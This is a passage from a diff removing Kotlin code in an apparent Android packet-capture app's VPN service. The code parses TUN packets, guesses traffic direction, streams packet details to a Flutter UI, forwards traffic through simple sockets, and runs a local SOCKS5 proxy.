address patterns - when { - // Traffic from VPN subnet to external is outgoing - sourceIP.startsWith("10.0.0.") && !destIP.startsWith("10.0.0.") -> return "OUT" - // Traffic from external to VPN subnet is incoming - !sourceIP.startsWith("10.0.0.") && destIP.startsWith("10.0.0.") -> return "IN" - - // Private/local IPs as source typically means outgoing - isPrivateIP(sourceIP) && !isPrivateIP(destIP) -> return "OUT" - !isPrivateIP(sourceIP) && isPrivateIP(destIP) -> return "IN" - } - - // METHOD 4: Protocol-specific enhanced patterns - when (packetInfo.protocol) { - "DNS" -> return if (destPort == 53) "OUT" else "IN" - "QUIC/HTTP3", "HTTPS", "HTTP" -> { - return when { - destPort in listOf(80, 443) -> "OUT" - sourcePort in listOf(80, 443) -> "IN" - sourcePort > destPort -> "OUT" - else -> "IN" - } - } - "TCP", "UDP" -> { - // For TCP/UDP, use port hierarchy - return if (sourcePort > destPort) "OUT" else "IN" - } - } - - // METHOD 5: Default with better heuristics - // Since TUN interface primarily captures outgoing traffic from device, - // but we want to simulate incoming by analyzing response patterns - return if (sourcePort > 32768) "OUT" else "IN" // High ephemeral ports suggest outgoing - } - - private fun isPrivateIP(ip: String): Boolean { - return when { - ip.startsWith("10.") -> true - ip.startsWith("192.168.") -> true - ip.startsWith("172.") -> { - val secondOctet = ip.split(".").getOrNull(1)?.toIntOrNull() ?: 0 - secondOctet in 16..31 - } - ip.startsWith("127.") -> true // Loopback - ip == "0.0.0.0" || ip == "::" -> true // Default/unspecified - else -> false - } - } - - // Keep the old function for compatibility - private fun processPacketWithDirectionDetection(packet: ByteArray) { - parseAndProcessPacketWithSmartDirection(packet) - } - - private fun parseAndProcessPacket(packet: ByteArray, isOutgoing: Boolean = true) { - try { - val packetInfo = PacketParser.parsePacket(packet) - if (packetInfo != null) { - // Determine direction: packets read from TUN are outgoing (from device to internet) - // Packets written to TUN would be incoming (from internet to device) - val direction = if (isOutgoing) "OUT" else "IN" - - // Convert PacketInfo to Map for Flutter (matching Flutter field names) - val packetMap = mapOf( - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, // Fixed: sourceIP → sourceIp - "destinationIp" to packetInfo.destIP, // Fixed: destIP → destinationIp - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), // Fixed: destPort → destinationPort - "size" to packetInfo.length, // Fixed: length → size - "direction" to direction, // Add direction field - "flags" to (packetInfo.flags ?: ""), - "payload" to (packetInfo.payload ?: "") - ) - - // Log interesting packets for debugging - if (packetInfo.protocol in listOf("TCP", "UDP", "ICMP")) { - Log.d("PacketVpnService", "🔍 ${packetInfo.protocol}: ${packetInfo.sourceIP}:${packetInfo.sourcePort} → ${packetInfo.destIP}:${packetInfo.destPort}") - Log.d("PacketVpnService", "📱 Sending to Flutter: $packetMap") - } - - notifyFlutter("PACKET_CAPTURED", packetMap) - - // Also stream packet via EventChannel for real-time display - streamPacketToFlutter(packetMap) - } else { - Log.d("PacketVpnService", "⚠️ Failed to parse packet of ${packet.size} bytes") - } - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Packet parsing error: ${e.message}") - } - } - - private fun forwardPacketWithModification(packet: ByteArray, outputStream: FileOutputStream) { - try { - // Simple packet forwarding - just pass the packet through - // This maintains internet connectivity while allowing packet analysis - outputStream.write(packet) - - // Only log every 100th packet to avoid spam - if (System.currentTimeMillis() % 100 == 0L) { - Log.d("PacketVpnService", "✅ Forwarded packet of ${packet.size} bytes") - } - } catch (e: Exception) { - Log.e("PacketVpnService", "Packet forwarding error: ${e.message}") - } - } - - private fun notifyFlutter(event: String, data: Any) { - try { - Log.d("PacketVpnService", "🔔 Attempting to notify Flutter: event=$event") - Log.d("PacketVpnService", "🔍 Method channel status: ${if (methodChannel == null) "NULL" else "SET"}") - - if (methodChannel == null) { - Log.e("PacketVpnService", "❌ MethodChannel is null! Cannot send to Flutter") - Log.e("PacketVpnService", "💡 This usually means MainActivity hasn't set the method channel yet") - return - } - - // Ensure we're on the main thread for method channel calls - val mainHandler = android.os.Handler(android.os.Looper.getMainLooper()) - if (android.os.Looper.myLooper() == android.os.Looper.getMainLooper()) { - Log.d("PacketVpnService", "🎯 Already on main thread, calling directly") - invokeMethodChannel(event, data) - } else { - Log.d("PacketVpnService", "🔄 Posting to main thread") - mainHandler.post { - invokeMethodChannel(event, data) - } - } - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Flutter notification error: ${e.message}") - e.printStackTrace() - } - } - - private fun invokeMethodChannel(event: String, data: Any) { - try { - Log.d("PacketVpnService", "📤 Invoking method channel: $event") - methodChannel?.invokeMethod("onPacketEvent", mapOf( - "event" to event, - "data" to data - ), object : MethodChannel.Result { - override fun success(result: Any?) { - Log.d("PacketVpnService", "✅ Flutter acknowledged: event=$event, result=$result") - } - override fun error(errorCode: String, errorMessage: String?, errorDetails: Any?) { - Log.e("PacketVpnService", "❌ Flutter error for event=$event: $errorCode - $errorMessage") - Log.e("PacketVpnService", "📝 Error details: $errorDetails") - } - override fun notImplemented() { - Log.e("PacketVpnService", "❌ Flutter method not implemented for event=$event") - Log.e("PacketVpnService", "💡 Check if onPacketEvent handler is set up in Flutter") - } - }) - Log.d("PacketVpnService", "📨 Method invocation sent successfully") - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Method channel invocation failed: ${e.message}") - e.printStackTrace() - } - } - - private fun streamPacketToFlutter(packetData: Map) { - try { - packetSink?.let { sink -> - Log.d("PacketVpnService", "📡 Streaming packet to Flutter via EventChannel") - - // Ensure we're on the main thread for EventChannel calls - val mainHandler = android.os.Handler(android.os.Looper.getMainLooper()) - if (android.os.Looper.myLooper() == android.os.Looper.getMainLooper()) { - sink.success(packetData) - } else { - mainHandler.post { - sink.success(packetData) - } - } - } ?: run { - Log.d("PacketVpnService", "📡 No EventChannel listener attached") - } - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ EventChannel streaming error: ${e.message}") - } - } - - // Simulation function removed - using only real packets now - - private fun startComprehensiveTrafficCapture(vpn: ParcelFileDescriptor) { - Log.i("PacketVpnService", "🌍 Starting COMPREHENSIVE traffic capture with SOCKS proxy forwarding") - - captureJob = serviceScope.launch { - try { - Log.i("PacketVpnService", "📊 Starting packet analysis alongside SOCKS proxy forwarding") - Log.i("PacketVpnService", "🔧 SOCKS proxy handles real internet traffic while we analyze packets") - - // Start packet analysis without interfering with SOCKS proxy forwarding - startPacketAnalysisWithSocksProxy(vpn) - - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Error in comprehensive traffic capture: ${e.message}", e) - } - } - } - - // ENHANCED: Bidirectional packet processing with proper forwarding - private suspend fun startUnifiedPacketProcessing(vpn: ParcelFileDescriptor) { - Log.i("PacketVpnService", "🚀 Starting BIDIRECTIONAL packet processing with real forwarding") - - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(32767) - var totalPackets = 0 - var outgoingPackets = 0 - var incomingPackets = 0 - var forwardedPackets = 0 - var errorCount = 0 - - // Track connections for bidirectional analysis - val connectionTracker = mutableMapOf() // sourceIP:port -> direction - - try { - Log.i("PacketVpnService", "🔍 Starting strategic traffic capture...") - Log.i("PacketVpnService", "📡 Major services will be analyzed with bidirectional detection") - - while (isCapturing.get()) { - try { - val bytesRead = inputStream.read(buffer) - if (bytesRead > 0) { - totalPackets++ - val packet = buffer.copyOf(bytesRead) - - // Log first few packets for debugging - if (totalPackets <= 10) { - Log.d("PacketVpnService", "📦 CAPTURED PACKET: ${bytesRead} bytes") - } - - // ENHANCED: Analyze packet with bidirectional tracking - serviceScope.launch { - val packetInfo = PacketParser.parsePacket(packet) - if (packetInfo != null) { - // Track connections for better direction detection - val connectionKey = "${packetInfo.sourceIP}:${packetInfo.sourcePort}->${packetInfo.destIP}:${packetInfo.destPort}" - val reverseKey = "${packetInfo.destIP}:${packetInfo.destPort}->${packetInfo.sourceIP}:${packetInfo.sourcePort}" - - // Enhanced direction detection with connection tracking - val direction = determineEnhancedPacketDirection(packetInfo, connectionTracker) - - // Update connection tracker - connectionTracker[connectionKey] = direction - if (direction == "OUT") { - connectionTracker[reverseKey] = "IN" // Expect incoming response - } - - // Count by direction - when (direction) { - "OUT" -> outgoingPackets++ - "IN" -> incomingPackets++ - } - - Log.v("PacketVpnService", "🔍 Enhanced: ${packetInfo.sourceIP}:${packetInfo.sourcePort} → ${packetInfo.destIP}:${packetInfo.destPort} = $direction") - - // Send to Flutter - val packetMap = mapOf( - "timestamp" to packetInfo.timestamp, - "protocol" to packetInfo.protocol, - "sourceIp" to packetInfo.sourceIP, - "destinationIp" to packetInfo.destIP, - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), - "size" to packetInfo.length, - "direction" to direction, - "flags" to (packetInfo.flags ?: ""), - "payload" to (packetInfo.payload ?: "") - ) - - notifyFlutter("PACKET_CAPTURED", packetMap) - streamPacketToFlutter(packetMap) - } - } - - // CRITICAL: Forward packet to maintain internet connectivity using raw sockets - try { - forwardPacketForInternet(packet, null) // Use raw socket forwarding - forwardedPackets++ - } catch (e: Exception) { - errorCount++ - if (errorCount <= 5) { - Log.w("PacketVpnService", "⚠️ Packet forward error #$errorCount: ${e.message}") - } - } - - // Enhanced logging with bidirectional stats - if (totalPackets % 50 == 0) { - Log.d("PacketVpnService", "📊 Bidirectional: Total=$totalPackets, OUT=$outgoingPackets, IN=$incomingPackets, Forwarded=$forwardedPackets") - } - - if (totalPackets % 100 == 0) { - Log.i("PacketVpnService", "🔄 STRATEGIC CAPTURE: $totalPackets packets (${outgoingPackets} OUT, ${incomingPackets} IN)") - } - } else if (bytesRead == 0) { - delay(10) - } else { - delay(10) - } - } catch (readException: Exception) { - errorCount++ - if (errorCount <= 10) { - Log.w("PacketVpnService", "⚠️ Read exception #$errorCount: ${readException.message}") - } - delay(10) - } - - // Prevent CPU overload - if (totalPackets % 10 == 0) { - delay(1) - } - } - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Bidirectional packet processing error: ${e.message}", e) - } finally { - try { - inputStream.close() - outputStream.close() - Log.i("PacketVpnService", "🔒 Bidirectional processing streams closed") - Log.i("PacketVpnService", "📈 Final stats: Total=$totalPackets, OUT=$outgoingPackets, IN=$incomingPackets") - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ Error closing streams: ${e.message}") - } - } - } - - private fun determineEnhancedPacketDirection( - packetInfo: PacketParser.PacketInfo, - connectionTracker: Map - ): String { - val sourceIP = packetInfo.sourceIP - val destIP = packetInfo.destIP - val sourcePort = packetInfo.sourcePort ?: 0 - val destPort = packetInfo.destPort ?: 0 - - // Check if this is a response to a tracked connection - val connectionKey = "${sourceIP}:${sourcePort}->${destIP}:${destPort}" - val trackedDirection = connectionTracker[connectionKey] - if (trackedDirection != null) { - return trackedDirection - } - - // Use original smart detection as fallback - return determinePacketDirection(packetInfo) - } - - private fun forwardPacketToRealInternet(packet: ByteArray, outputStream: FileOutputStream) { - try { - // FIXED: Don't write back to TUN interface (causes loops) - // The tun2socks bridge handles real internet forwarding via SOCKS proxy - // We just analyze the packet here, forwarding is handled separately - - // Log packet forwarding (for debugging) - if (System.currentTimeMillis() % 1000 < 10) { - Log.v("PacketVpnService", "📡 Packet forwarded via SOCKS proxy: ${packet.size} bytes") - } - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ Packet forwarding logged: ${e.message}") - } - } - - // OLD CONFLICTING FUNCTIONS - DISABLED TO PREVENT MULTIPLE FILEINPUTSTREAM CONFLICTS - // NEW: Packet analysis that works with SOCKS proxy forwarding - private suspend fun startPacketAnalysisWithSocksProxy(vpn: ParcelFileDescriptor) { - Log.i("PacketVpnService", "🚀 Starting ACTIVE packet capture and forwarding (no tun2socks)") - - // Instead of relying on tun2socks, we'll: - // 1. Read packets directly from TUN interface - // 2. Analyze them for our UI - // 3. Forward them through raw socket connections for internet access - - val inputStream = FileInputStream(vpn.fileDescriptor) - val outputStream = FileOutputStream(vpn.fileDescriptor) - val buffer = ByteArray(1500) // Standard MTU - var packetCount = 0 - var lastLogTime = System.currentTimeMillis() - - try { - Log.i("PacketVpnService", "📡 Reading packets directly from TUN interface") - Log.i("PacketVpnService", "🔍 Each packet will be analyzed AND forwarded for internet access") - - while (isCapturing.get() && !Thread.currentThread().isInterrupted) { - try { - val bytesRead = inputStream.read(buffer) - if (bytesRead > 0) { - packetCount++ - val packet = buffer.copyOfRange(0, bytesRead) - - // Log packet capture for debugging - if (packetCount <= 10 || packetCount % 100 == 0) { - Log.d("PacketVpnService", "📦 CAPTURED: Packet #$packetCount, ${bytesRead} bytes") - if (packetCount <= 3) { - val hexDump = packet.take(20).joinToString(" ") { "%02x".format(it) } - Log.d("PacketVpnService", "🔍 Hex: $hexDump") - } - } - - // ANALYZE the packet for our UI - serviceScope.launch { - analyzeAndDisplayPacket(packet) - } - - // FORWARD the packet for internet connectivity using raw sockets - // This preserves original packet headers and prevents circular routing - serviceScope.launch { - forwardPacketForInternet(packet, null) // outputStream not used in raw socket forwarding - } - - // Periodic status logging - val currentTime = System.currentTimeMillis() - if (currentTime - lastLogTime > 5000) { // Every 5 seconds - Log.i("PacketVpnService", "📈 ACTIVE CAPTURE: $packetCount packets processed") - notifyFlutter("VPN_STATUS", mapOf( - "status" to "ACTIVE_CAPTURE_AND_FORWARD", - "packets" to packetCount, - "message" to "Packets captured and forwarded: $packetCount" - )) - lastLogTime = currentTime - } - - } else if (bytesRead == 0) { - // No data immediately available - delay(10) - } else { - // Error reading - delay(50) - } - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ Packet capture error: ${e.message}") - delay(100) - } - } - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Active packet capture error: ${e.message}", e) - } finally { - try { - inputStream.close() - outputStream.close() - Log.i("PacketVpnService", "🔒 Packet capture streams closed") - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ Error closing streams: ${e.message}") - } - } - } - - private suspend fun analyzeAndDisplayPacket(packet: ByteArray) { - try { - Log.d("PacketVpnService", "🔍 Analyzing packet: ${packet.size} bytes") - val packetInfo = PacketParser.parsePacket(packet) - if (packetInfo != null) { - // DEBUG: Log the parsed packet information - Log.d("PacketVpnService", "📦 PARSED: ${packetInfo.protocol} ${packetInfo.sourceIP}:${packetInfo.sourcePort} → ${packetInfo.destIP}:${packetInfo.destPort}") - - // Check for zero IP addresses - if (packetInfo.sourceIP == "0.0.0.0" || packetInfo.destIP == "0.0.0.0") { - Log.w("PacketVpnService", "❌ ZERO IP DETECTED! Raw packet hex: ${packet.take(40).joinToString(" ") { "%02x".format(it) }}") - } - - // Enhanced direction detection - val direction = determineEnhancedPacketDirection(packetInfo, connectionTracker) - - // Update connection tracker - val connectionKey = "${packetInfo.sourceIP}:${packetInfo.sourcePort}->${packetInfo.destIP}:${packetInfo.destPort}" - val reverseKey = "${packetInfo.destIP}:${packetInfo.destPort}->${packetInfo.sourceIP}:${packetInfo.sourcePort}" - - synchronized(connectionTracker) { - connectionTracker[connectionKey] = direction - if (direction == "OUT") { - connectionTracker[reverseKey] = "IN" - } else { - connectionTracker[reverseKey] = "OUT" - } - } - - // Forward to Flutter UI - forwardPacketToFlutter(packetInfo, direction) - } else { - Log.w("PacketVpnService", "❌ Failed to parse packet, hex dump: ${packet.take(20).joinToString(" ") { "%02x".format(it) }}") - } - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ Packet analysis error: ${e.message}") - e.printStackTrace() - } - } - - private suspend fun forwardPacketForInternet(packet: ByteArray, outputStream: FileOutputStream?) { - try { - // RAW SOCKET FORWARDING: Parse packet and forward via appropriate socket - // This preserves original packet headers and avoids TUN interface rewriting - - val packetInfo = PacketParser.parsePacket(packet) - if (packetInfo != null) { - when (packetInfo.protocol) { - "TCP" -> forwardTcpPacket(packetInfo, packet) - "UDP" -> forwardUdpPacket(packetInfo, packet) - "ICMP" -> forwardIcmpPacket(packetInfo, packet) - else -> { - // For unknown protocols, log and skip - Log.v("PacketVpnService", "⚠️ Skipping ${packetInfo.protocol} packet forwarding") - } - } - } else { - Log.v("PacketVpnService", "⚠️ Could not parse packet for raw socket forwarding") - } - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ Raw socket forwarding error: ${e.message}") - } - } - - private suspend fun forwardTcpPacket(packetInfo: PacketParser.PacketInfo, rawPacket: ByteArray) { - try { - val destIP = packetInfo.destIP - val destPort = packetInfo.destPort ?: return - - // Extract TCP payload from raw packet - val payload = extractTcpPayload(rawPacket) - if (payload.isEmpty()) return - - // Create TCP socket connection - val socket = Socket() - try { - socket.connect(InetSocketAddress(destIP, destPort), 5000) - val outputStream = socket.getOutputStream() - - // Forward TCP payload - outputStream.write(payload) - outputStream.flush() - - Log.v("PacketVpnService", "✅ TCP forwarded to $destIP:$destPort, ${payload.size} bytes") - - // Read response (simplified - would need connection tracking for full implementation) - val inputStream = socket.getInputStream() - val response = ByteArray(1024) - val bytesRead = inputStream.read(response) - - if (bytesRead > 0) { - // Create response packet and send back to device - // This would need proper TCP packet construction - Log.v("PacketVpnService", "📥 TCP response received: $bytesRead bytes") - } - - } finally { - socket.close() - } - } catch (e: Exception) { - Log.v("PacketVpnService", "⚠️ TCP forwarding error: ${e.message}") - } - } - - private suspend fun forwardUdpPacket(packetInfo: PacketParser.PacketInfo, rawPacket: ByteArray) { - try { - val destIP = packetInfo.destIP - val destPort = packetInfo.destPort ?: return - - // Extract UDP payload from raw packet - val payload = extractUdpPayload(rawPacket) - if (payload.isEmpty()) return - - // Create UDP socket - val socket = DatagramSocket() - try { - val destAddress = InetAddress.getByName(destIP) - val packet = DatagramPacket(payload, payload.size, destAddress, destPort) - - socket.send(packet) - - Log.v("PacketVpnService", "✅ UDP forwarded to $destIP:$destPort, ${payload.size} bytes") - - // Wait for response (with timeout) - socket.soTimeout = 1000 - val responseBuffer = ByteArray(1024) - val responsePacket = DatagramPacket(responseBuffer, responseBuffer.size) - - try { - socket.receive(responsePacket) - Log.v("PacketVpnService", "📥 UDP response received: ${responsePacket.length} bytes") - } catch (e: java.net.SocketTimeoutException) { - // Timeout is normal for UDP - Log.v("PacketVpnService", "⏰ UDP response timeout (normal)") - } - - } finally { - socket.close() - } - } catch (e: Exception) { - Log.v("PacketVpnService", "⚠️ UDP forwarding error: ${e.message}") - } - } - - private suspend fun forwardIcmpPacket(packetInfo: PacketParser.PacketInfo, rawPacket: ByteArray) { - try { - // ICMP forwarding is more complex and requires raw sockets with root permissions - // For now, we'll skip ICMP forwarding - Log.v("PacketVpnService", "⚠️ ICMP forwarding not implemented (requires root)") - } catch (e: Exception) { - Log.v("PacketVpnService", "⚠️ ICMP forwarding error: ${e.message}") - } - } - - private fun extractTcpPayload(rawPacket: ByteArray): ByteArray { - try { - if (rawPacket.size < 20) return byteArrayOf() - - // IPv4 header is typically 20 bytes, but check IHL field - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 20) return byteArrayOf() - - // TCP header starts after IP header - val tcpHeaderStart = ipHeaderLength - - // TCP header length is in bits 12-15 of offset 12-13, multiply by 4 for bytes - val tcpHeaderLength = ((rawPacket[tcpHeaderStart + 12].toInt() and 0xF0) shr 4) * 4 - - val payloadStart = ipHeaderLength + tcpHeaderLength - if (rawPacket.size <= payloadStart) return byteArrayOf() - - return rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ TCP payload extraction error: ${e.message}") - return byteArrayOf() - } - } - - private fun extractUdpPayload(rawPacket: ByteArray): ByteArray { - try { - if (rawPacket.size < 20) return byteArrayOf() - - // IPv4 header is typically 20 bytes, but check IHL field - val ipHeaderLength = (rawPacket[0].toInt() and 0x0F) * 4 - if (rawPacket.size < ipHeaderLength + 8) return byteArrayOf() // UDP header is 8 bytes - - // UDP payload starts after IP header + UDP header (8 bytes) - val payloadStart = ipHeaderLength + 8 - if (rawPacket.size <= payloadStart) return byteArrayOf() - - return rawPacket.copyOfRange(payloadStart, rawPacket.size) - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ UDP payload extraction error: ${e.message}") - return byteArrayOf() - } - } - - private fun forwardPacketToFlutter(packetInfo: PacketParser.PacketInfo, direction: String) { - try { - val packetMap: Map = mapOf( - "id" to System.currentTimeMillis().toString(), - "timestamp" to packetInfo.timestamp, - "sourceIp" to packetInfo.sourceIP, // Fixed: sourceIP → sourceIp - "destinationIp" to packetInfo.destIP, // Fixed: destIP → destinationIp - "sourcePort" to (packetInfo.sourcePort ?: 0), - "destinationPort" to (packetInfo.destPort ?: 0), // Fixed: destPort → destinationPort - "protocol" to packetInfo.protocol, - "size" to packetInfo.length, - "direction" to direction, - "flags" to (packetInfo.flags ?: ""), - "payload" to (packetInfo.payload ?: "") - ) - - // DEBUG: Log the packet map being sent to Flutter - Log.d("PacketVpnService", "🚀 FLUTTER MAP: sourceIp=${packetMap["sourceIp"]}, destinationIp=${packetMap["destinationIp"]}") - Log.d("PacketVpnService", "🚀 FULL MAP: $packetMap") - - // Send via both method channel and event channel - notifyFlutter("PACKET_CAPTURED", packetMap) - streamPacketToFlutter(packetMap) - } catch (e: Exception) { - Log.w("PacketVpnService", "⚠️ Error forwarding packet to Flutter: ${e.message}") - } - } - - /* - private suspend fun startAdvancedTrafficForwarding(vpn: ParcelFileDescriptor) { - // DISABLED: This function conflicts with unified packet processing - // Multiple FileInputStream instances on same descriptor cause race conditions - Log.w("PacketVpnService", "⚠️ startAdvancedTrafficForwarding DISABLED - using unified processing") - } - */ - - private var socksProxyPort: Int = 1080 - private var socksProxyThread: Thread? = null - - private fun startEmbeddedSocksProxy() { - socksProxyThread = Thread { - try { - Log.i("PacketVpnService", "🚀 Starting embedded SOCKS proxy server on port $socksProxyPort") - - // Simple SOCKS proxy implementation - val serverSocket = java.net.ServerSocket(socksProxyPort) - Log.i("PacketVpnService", "✅ SOCKS proxy server listening on 127.0.0.1:$socksProxyPort") - - while (isCapturing.get() && !Thread.currentThread().isInterrupted) { - try { - val clientSocket = serverSocket.accept() - Log.d("PacketVpnService", "🔗 SOCKS proxy client connected: ${clientSocket.remoteSocketAddress}") - - // Handle SOCKS connection in separate thread - Thread { - handleSocksConnection(clientSocket) - }.start() - - } catch (e: Exception) { - if (isCapturing.get()) { - Log.e("PacketVpnService", "❌ SOCKS proxy accept error: ${e.message}") - } - } - } - - serverSocket.close() - Log.i("PacketVpnService", "🛑 SOCKS proxy server stopped") - - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ SOCKS proxy server error: ${e.message}") - } - } - - socksProxyThread?.start() - } - - private fun handleSocksConnection(clientSocket: java.net.Socket) { - try { - val clientInput = clientSocket.getInputStream() - val clientOutput = clientSocket.getOutputStream() - - Log.d("PacketVpnService", "🔗 Handling SOCKS5 connection from: ${clientSocket.remoteSocketAddress}") - - // Step 1: Read initial SOCKS5 handshake - val handshakeBuffer = ByteArray(256) - val handshakeBytes = clientInput.read(handshakeBuffer) - - if (handshakeBytes < 3) { - Log.w("PacketVpnService", "❌ Invalid SOCKS5 handshake length: $handshakeBytes") - return - } - - val version = handshakeBuffer[0].toInt() and 0xFF - val numMethods = handshakeBuffer[1].toInt() and 0xFF - - Log.d("PacketVpnService", "📋 SOCKS handshake: version=$version, methods=$numMethods") - - if (version != 5) { - Log.w("PacketVpnService", "❌ Unsupported SOCKS version: $version") - return - } - - // Step 2: Send authentication response (no auth required) - clientOutput.write(byteArrayOf(0x05.toByte(), 0x00.toByte())) - clientOutput.flush() - Log.d("PacketVpnService", "✅ Sent SOCKS5 auth response") - - // Step 3: Read SOCKS5 connection request - val requestBuffer = ByteArray(256) - val requestBytes = clientInput.read(requestBuffer) - - if (requestBytes < 4) { - Log.w("PacketVpnService", "❌ Invalid SOCKS5 request length: $requestBytes") - return - } - - val reqVersion = requestBuffer[0].toInt() and 0xFF - val command = requestBuffer[1].toInt() and 0xFF - val addressType = requestBuffer[3].toInt() and 0xFF - - Log.d("PacketVpnService", "📋 SOCKS request: version=$reqVersion, cmd=$command, addrType=$addressType") - - if (reqVersion != 5) { - // Send error response for wrong version - clientOutput.write(byteArrayOf( - 0x05.toByte(), 0x07.toByte(), 0x00.toByte(), 0x01.toByte(), - 0x00.toByte(), 0x00.toByte(), 0x00.toByte(), 0x00.toByte(), - 0x00.toByte(), 0x00.toByte() - )) - clientOutput.flush() - Log.w("PacketVpnService", "❌ Unsupported SOCKS version: $reqVersion") - return - } - - // Handle UDP ASSOCIATE command (command 3) - if (command == 3) { - Log.d("PacketVpnService", "🔄 Handling UDP ASSOCIATE command") - // For UDP ASSOCIATE, send success response with our proxy address - clientOutput.write(byteArrayOf( - 0x05.toByte(), 0x00.toByte(), 0x00.toByte(), 0x01.toByte(), - 127.toByte(), 0.toByte(), 0.toByte(), 1.toByte(), // 127.0.0.1 - 0x04.toByte(), 0x38.toByte() // Port 1080 - )) - clientOutput.flush() - Log.d("PacketVpnService", "✅ UDP ASSOCIATE response sent") - - // Keep connection alive for UDP association - try { - // Read until client closes connection - val buffer = ByteArray(1024) - while (clientSocket.isConnected && !clientSocket.isClosed) { - val bytesRead = clientInput.read(buffer) - if (bytesRead == -1) break - // Just keep the association alive - Thread.sleep(100) - } - } catch (e: Exception) { - Log.d("PacketVpnService", "🔄 UDP association ended: ${e.message}") - } - return - } - - if (command != 1) { // Only support CONNECT and UDP ASSOCIATE commands - // Send error response - clientOutput.write(byteArrayOf( - 0x05.toByte(), 0x07.toByte(), 0x00.toByte(), 0x01.toByte(), - 0x00.toByte(), 0x00.toByte(), 0x00.toByte(), 0x00.toByte(), - 0x00.toByte(), 0x00.toByte() - )) - clientOutput.flush() - Log.w("PacketVpnService", "❌ Unsupported SOCKS command: $command") - return - } - - // Step 4: Parse target address and port - var targetHost: String - var targetPort: Int - var addressStart = 4 - - when (addressType) { - 1 -> { // IPv4 - if (requestBytes < 10) { - Log.w("PacketVpnService", "❌ Invalid IPv4 address length") - return - } - targetHost = "${requestBuffer[4].toInt() and 0xFF}.${requestBuffer[5].toInt() and 0xFF}.${requestBuffer[6].toInt() and 0xFF}.${requestBuffer[7].toInt() and 0xFF}" - targetPort = ((requestBuffer[8].toInt() and 0xFF) shl 8) or (requestBuffer[9].toInt() and 0xFF) - addressStart = 10 - } - 3 -> { // Domain name - val domainLength = requestBuffer[4].toInt() and 0xFF - if (requestBytes < 5 + domainLength + 2) { - Log.w("PacketVpnService", "❌ Invalid domain name length") - return - } - targetHost = String(requestBuffer, 5, domainLength) - targetPort = ((requestBuffer[5 + domainLength].toInt() and 0xFF) shl 8) or (requestBuffer[6 + domainLength].toInt() and 0xFF) - addressStart = 7 + domainLength - } - else -> { - Log.w("PacketVpnService", "❌ Unsupported address type: $addressType") - return - } - } - - Log.d("PacketVpnService", "🎯 SOCKS target: $targetHost:$targetPort") - - // Step 5: Create connection to target - val targetSocket = java.net.Socket() - try { - targetSocket.connect(java.net.InetSocketAddress(targetHost, targetPort), 10000) - Log.d("PacketVpnService", "✅ Connected to target: $targetHost:$targetPort") - - // Step 6: Send success response - clientOutput.write(byteArrayOf( - 0x05.toByte(), 0x00.toByte(), 0x00.toByte(), 0x01.toByte(), - 0x7F.toByte(), 0x00.toByte(), 0x00.toByte(), 0x01.toByte(), // 127.0.0.1 - 0x04.toByte(), 0x38.toByte() // Port 1080 - )) - clientOutput.flush() - Log.d("PacketVpnService", "✅ Sent SOCKS5 success response") - - // Step 7: Start data relay - Log.d("PacketVpnService", "🔄 Starting data relay for $targetHost:$targetPort") - relayData(clientSocket, targetSocket) - - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ Failed to connect to $targetHost:$targetPort: ${e.message}") - - // Send connection failed response - clientOutput.write(byteArrayOf( - 0x05.toByte(), 0x05.toByte(), 0x00.toByte(), 0x01.toByte(), - 0x00.toByte(), 0x00.toByte(), 0x00.toByte(), 0x00.toByte(), - 0x00.toByte(), 0x00.toByte() - )) - clientOutput.flush() - } finally { - try { - targetSocket.close() - } catch (e: Exception) { - // Ignore - } - } - - } catch (e: Exception) { - Log.e("PacketVpnService", "❌ SOCKS proxy connection error: ${e.message}") - } finally { - try { - clientSocket.close() - Log.d("PacketVpnService", "🔒 SOCKS connection closed") - } catch (e: Exception) { - // Ignore close errors - } - } - } - - private fun relayData(clientSocket: java.net.Socket, targetSocket: java.net.Socket) { - try { - var totalBytesRelayed = 0L - - val clientToTarget = Thread { - try { - val buffer = ByteArray(4096) - val clientInput = clientSocket.getInputStream() - val targetOutput = targetSocket.getOutputStream() - - var bytesRead: Int - while (clientInput.read(buffer).also { bytesRead = it } != -1) { - targetOutput.write(buffer, 0, bytesRead) - targetOutput.flush() - totalBytesRelayed += bytesRead - - // Log data flow periodically - if (totalBytesRelayed % 10240 == 0L) { - Log.v("PacketVpnService", "📤 Client->Target: ${bytesRead} bytes (total: ${totalBytesRelayed})") - } - } - Log.d("PacketVpnService", "🔒 Client->Target stream closed") - } catch (e: Exception) { - Log.d("PacketVpnService", "🔒 Client->Target relay ended: ${e.message}") - } finally { - // Close streams to signal end of relay - try { targetSocket.shutdownOutput() } catch (e: Exception) { } - } - } - - val targetToClient = Thread { - try { - val buffer = ByteArray(4096) - val targetInput = targetSocket.getInputStream() - val clientOutput = clientSocket.getOutputStream() - - var bytesRead: Int - while (targetInput.read(buffer).also { bytesRead = it } != -1) { - clientOutput.write(buffer, 0, bytesRead) - clientOutput.flush() - - // Log data flow periodically - if (bytesRead > 0 && System.currentTimeMillis() % 1000 < 10) { - Log.v("PacketVpnService", "📥 Target->Client: ${bytesRead} bytes") - } - } - Log.d("PacketVpnService", "🔒 